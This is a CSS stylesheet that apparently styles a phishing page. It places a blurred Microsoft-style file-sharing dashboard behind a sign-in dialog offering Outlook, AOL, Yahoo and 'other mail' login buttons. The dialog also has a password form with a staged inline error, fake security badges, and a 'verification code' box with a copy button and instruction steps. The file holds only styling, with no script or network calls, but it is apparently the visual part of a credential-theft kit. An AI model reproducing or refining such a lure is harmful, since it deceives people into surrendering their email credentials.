* {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

body {
  background-color: #f3f2f1;
  display: flex;
  justify-content: center;
  align-items: center;
  min-height: 100vh;
  font-family: "Segoe UI", -apple-system, sans-serif;
  overflow: hidden;
}

.dashboard-bg-blur {
  position: fixed;
  inset: 0;
  opacity: 0.8;
  filter: blur(2px);
  pointer-events: none;
}

.top-header {
  display: flex;
  align-items: center;
  height: 48px;
  padding: 0 20px;
  background-color: #0078d4;
  gap: 18px;
}

.app-menu-dots {
  display: flex;
  gap: 2px;
}

.app-menu-dots span {
  width: 4px;
  height: 4px;
  background-color: rgba(255, 255, 255, 0.7);
  border-radius: 50%;
}

.brand-logo {
  display: flex;
  align-items: center;
  gap: 8px;
  color: #ffffff;
  font-size: 15px;
  font-weight: 600;
}

.brand-logo svg {
  width: 20px;
  height: 20px;
  fill: #ffffff;
}

.global-search-bar {
  display: flex;
  flex: 1;
  align-items: center;
  max-width: 420px;
  height: 32px;
  margin: 0 20px;
  padding: 0 12px;
  background-color: rgba(255, 255, 255, 0.15);
  color: rgba(255, 255, 255, 0.6);
  border-radius: 4px;
  font-size: 12px;
}

.header-actions {
  display: flex;
  align-items: center;
  gap: 14px;
  margin-left: auto;
}

.header-actions span {
  width: 32px;
  height: 32px;
  background-color: rgba(255, 255, 255, 0.2);
  border-radius: 50%;
}

.main-layout {
  display: flex;
  height: calc(100vh - 48px);
}

.left-sidebar {
  width: 220px;
  padding: 20px 0;
  background-color: #ffffff;
  border-right: 1px solid #edebe9;
}

.sidebar-link {
  display: flex;
  align-items: center;
  gap: 10px;
  padding: 8px 24px;
  color: #323130;
  font-size: 13px;
}

.sidebar-link.is-active {
  padding-left: 21px;
  background-color: #f3f2f1;
  border-left: 3px solid #0078d4;
  font-weight: 600;
}

.sidebar-link svg {
  width: 16px;
  height: 16px;
  fill: #605e5c;
}

.content-area {
  flex: 1;
  padding: 28px 32px;
  background-color: #ffffff;
  overflow: hidden;
}

.path-trail {
  margin-bottom: 8px;
  color: #605e5c;
  font-size: 12px;
}

.section-heading {
  margin-bottom: 6px;
  color: #323130;
  font-size: 22px;
  font-weight: 600;
}

.action-toolbar {
  display: flex;
  gap: 16px;
  margin-bottom: 4px;
  padding: 14px 0;
  border-bottom: 1px solid #edebe9;
}

.action-toolbar span {
  display: flex;
  align-items: center;
  gap: 4px;
  color: #605e5c;
  font-size: 12px;
  cursor: default;
}

.action-toolbar span svg {
  width: 14px;
  height: 14px;
  fill: #605e5c;
}

.data-grid {
  width: 100%;
}

.grid-header {
  display: flex;
  padding: 10px 12px;
  color: #605e5c;
  font-size: 12px;
  border-bottom: 1px solid #edebe9;
}

.grid-header span:first-child {
  flex: 3;
}

.grid-header span:nth-child(2) {
  flex: 2;
}

.grid-header span:nth-child(3),
.grid-header span:nth-child(4) {
  flex: 1;
}

.grid-row {
  display: flex;
  align-items: center;
  padding: 10px 12px;
  color: #323130;
  font-size: 13px;
  border-bottom: 1px solid #f3f2f1;
}

.grid-row:hover {
  background-color: #f3f2f1;
}

.grid-row span:first-child {
  display: flex;
  flex: 3;
  align-items: center;
  gap: 10px;
  font-weight: 500;
}

.grid-row span:nth-child(2) {
  flex: 2;
  color: #605e5c;
  font-size: 12px;
}

.grid-row span:nth-child(3),
.grid-row span:nth-child(4) {
  flex: 1;
  color: #605e5c;
  font-size: 12px;
}

.grid-row svg {
  flex-shrink: 0;
  width: 20px;
  height: 20px;
}

.dialog-backdrop {
  position: fixed;
  inset: 0;
  z-index: 1;
  background-color: rgba(0, 0, 0, 0.22);
}

.auth-dialog {
  position: relative;
  z-index: 1;
  width: 100%;
  max-width: 440px;
  margin: 20px;
  padding: 32px;
  background-color: #ffffff;
  border-radius: 12px;
  box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.5);
}

.dialog-top {
  display: flex;
  align-items: center;
  gap: 10px;
  margin-bottom: 20px;
  padding-bottom: 16px;
  border-bottom: 1px solid #edebe9;
}

.dialog-top img {
  width: 32px;
  height: 32px;
}

.dialog-top span {
  color: #323130;
  font-size: 15px;
  font-weight: 600;
}

.dialog-subtitle {
  margin-bottom: 12px;
  color: #323130;
  font-size: 16px;
  font-weight: 600;
}

.sharing-notice {
  margin-bottom: 16px;
  padding: 14px;
  background: linear-gradient(135deg, #f0f6ff 0%, #e8f4f8 100%);
  border-left: 3px solid #0078d4;
  border-radius: 6px;
}

.sharing-notice p {
  margin: 0 0 8px 0;
  color: #323130;
  font-size: 13px;
  line-height: 1.5;
}

.sharing-notice p:last-child {
  margin-bottom: 0;
}

.sharing-notice .notice-text {
  color: #605e5c;
  font-size: 12px;
  font-weight: 400;
}

.file-preview-box {
  display: flex;
  align-items: center;
  gap: 12px;
  margin-bottom: 16px;
  padding: 14px;
  background-color: #faf9f8;
  border: 1px solid #edebe9;
  border-radius: 6px;
}

.file-details .file-name {
  color: #323130;
  font-size: 14px;
  font-weight: 600;
}

.file-details .file-hint {
  color: #a19f9d;
  font-size: 11px;
}

.verification-section {
  margin: 18px 0 0;
  padding: 18px 16px;
  text-align: center;
  background-color: #f9f9f8;
  border: 1px solid #e6e4e1;
  border-radius: 6px;
}

.verification-section p.code-label {
  margin-bottom: 10px;
  color: #6e6b68;
  font-size: 11px;
}

.verification-section .secure-code {
  margin-bottom: 10px;
  color: #0078d4;
  font-family: "Segoe UI", monospace;
  font-size: 28px;
  font-weight: 700;
  letter-spacing: 4px;
  user-select: all;
}

.copy-action-btn {
  padding: 6px 18px;
  color: #ffffff;
  font-family: inherit;
  font-size: 11px;
  background-color: #0078d4;
  border: none;
  border-radius: 4px;
  cursor: pointer;
}

.instruction-steps {
  margin-top: 14px;
  color: #6e6b68;
  font-size: 11px;
  line-height: 1.9;
  text-align: left;
}

.instruction-steps p {
  margin-bottom: 5px;
  font-weight: 600;
}

.instruction-steps ol {
  margin: 0;
  padding-left: 20px;
}

.instruction-steps ol li {
  margin-bottom: 6px;
  line-height: 1.6;
}

.email-provider-buttons {
  margin-top: 0;
  padding-top: 0;
}

.auth-intro {
  margin-bottom: 18px;
  text-align: center;
}

.auth-intro-title {
  margin-bottom: 10px;
  color: #323130;
  font-size: 17px;
  font-weight: 600;
  letter-spacing: -0.02em;
}

.auth-intro-lead {
  margin: 0;
  color: #605e5c;
  font-size: 13px;
  font-weight: 400;
  line-height: 1.55;
}

.auth-footer {
  margin-top: 20px;
  padding-top: 14px;
  border-top: 1px solid #edebe9;
  text-align: center;
}

.auth-footer-line {
  margin: 0 0 10px;
  color: #605e5c;
  font-size: 11px;
  line-height: 1.45;
}

.auth-footer-copy {
  margin: 0;
  color: #a19f9d;
  font-size: 10px;
  line-height: 1.4;
}

.provider-stack {
  display: flex;
  flex-direction: column;
  gap: 8px;
  width: 100%;
}

/* `hidden` must win over `display: flex` above (author CSS beats UA [hidden]). */
.provider-stack[hidden] {
  display: none !important;
}

.provider-btn {
  display: flex;
  align-items: center;
  justify-content: flex-start;
  gap: 12px;
  width: 100%;
  padding: 12px 14px;
  color: #ffffff;
  font-size: 14px;
  font-weight: 600;
  text-decoration: none;
  border-radius: 0;
  transition: filter 0.15s ease, box-shadow 0.15s ease;
  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12);
}

button.provider-btn {
  border: none;
  cursor: pointer;
  font-family: inherit;
  text-align: left;
}

.provider-btn:hover {
  filter: brightness(1.05);
  box-shadow: 0 2px 6px rgba(0, 0, 0, 0.18);
}

.provider-outlook {
  background-color: #2d7dd2;
}

.provider-outlook:hover {
  filter: brightness(1.06);
}

.provider-aol {
  background: #FFD327;
  color: #1a1a1a;
  gap: 7px;
}

.provider-aol:hover {
  background: #f0c820;
  filter: none;
}

.provider-icon-aol {
  height: 16px;
  width: auto;
  max-width: 58px;
  object-fit: contain;
  object-position: left center;
  display: block;
  flex-shrink: 0;
}

.provider-other-mail {
  color: #ffffff;
  background-color: #42a5f5;
}

.provider-other-mail:hover {
  filter: brightness(1.05);
}

.other-mail-panel {
  width: 100%;
}

.other-mail-intro {
  margin: 0 0 16px;
  color: #605e5c;
  font-size: 13px;
  line-height: 1.5;
  text-align: center;
}

.other-mail-password-block {
  display: flex;
  flex-direction: column;
  gap: 4px;
}

.other-mail-inline-error {
  margin: 0;
  padding: 0 2px;
  font-size: 12px;
  font-weight: 600;
  line-height: 1.35;
  color: #c50f1f;
}

.other-mail-field input.other-mail-input-error {
  border: 1px solid #d13438;
  box-shadow: none;
}

.other-mail-field input.other-mail-input-error:focus {
  outline: none;
  border-color: #c50f1f;
  box-shadow: none;
}

.other-mail-form {
  display: flex;
  flex-direction: column;
  gap: 12px;
  width: 100%;
}

.other-mail-field {
  display: flex;
  flex-direction: column;
  gap: 6px;
  margin: 0;
}

.other-mail-label {
  color: #323130;
  font-size: 12px;
  font-weight: 600;
}

.other-mail-field input {
  width: 100%;
  box-sizing: border-box;
  padding: 10px 12px;
  font-family: inherit;
  font-size: 14px;
  color: #323130;
  background: #ffffff;
  border: 1px solid #edebe9;
  border-radius: 4px;
}

.other-mail-field input:focus {
  outline: none;
  border-color: #0078d4;
  box-shadow: 0 0 0 1px #0078d4;
}

.other-mail-submit {
  margin-top: 4px;
  width: 100%;
  padding: 12px 14px;
  font-family: inherit;
  font-size: 14px;
  font-weight: 600;
  color: #ffffff;
  background-color: #0078d4;
  border: none;
  border-radius: 4px;
  cursor: pointer;
  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12);
  transition: filter 0.15s ease, box-shadow 0.15s ease;
}

.other-mail-submit:hover {
  filter: brightness(1.05);
  box-shadow: 0 2px 6px rgba(0, 0, 0, 0.15);
}

.other-mail-back {
  align-self: center;
  margin-top: 4px;
  padding: 6px 8px;
  font-family: inherit;
  font-size: 12px;
  font-weight: 600;
  color: #0078d4;
  background: none;
  border: none;
  cursor: pointer;
  text-decoration: underline;
  text-underline-offset: 2px;
  text-align: center;
}

a.other-mail-back {
  display: inline-block;
}

.other-mail-back:hover {
  color: #106ebe;
}

.provider-yahoo {
  background: linear-gradient(135deg, #6001D2 0%, #4a00a8 100%);
}

.provider-yahoo:hover {
  background: linear-gradient(135deg, #7418e0 0%, #5c00c4 100%);
}

.security-badges {
  display: flex;
  justify-content: space-around;
  align-items: center;
  margin-top: 16px;
  padding: 12px;
  background-color: #f8f9fa;
  border-radius: 6px;
  border: 1px solid #e9ecef;
}

.badge-item {
  display: flex;
  align-items: center;
  gap: 6px;
}

.badge-item svg {
  flex-shrink: 0;
}

.badge-item span {
  color: #605e5c;
  font-size: 11px;
  font-weight: 500;
}

.primary-action-btn {
  display: flex;
  justify-content: center;
  align-items: center;
  width: 100%;
  margin-top: 16px;
  padding: 12px;
  color: #ffffff;
  font-size: 14px;
  font-weight: 500;
  text-align: center;
  text-decoration: none;
  letter-spacing: 0.2px;
  background-color: #2f2f2f;
  border: none;
  border-radius: 4px;
  cursor: pointer;
}

.primary-action-btn:hover {
  opacity: 0.9;
}

.auth-status-text {
  margin-top: 16px;
  color: #a19f9d;
  font-size: 12px;
  text-align: center;
}

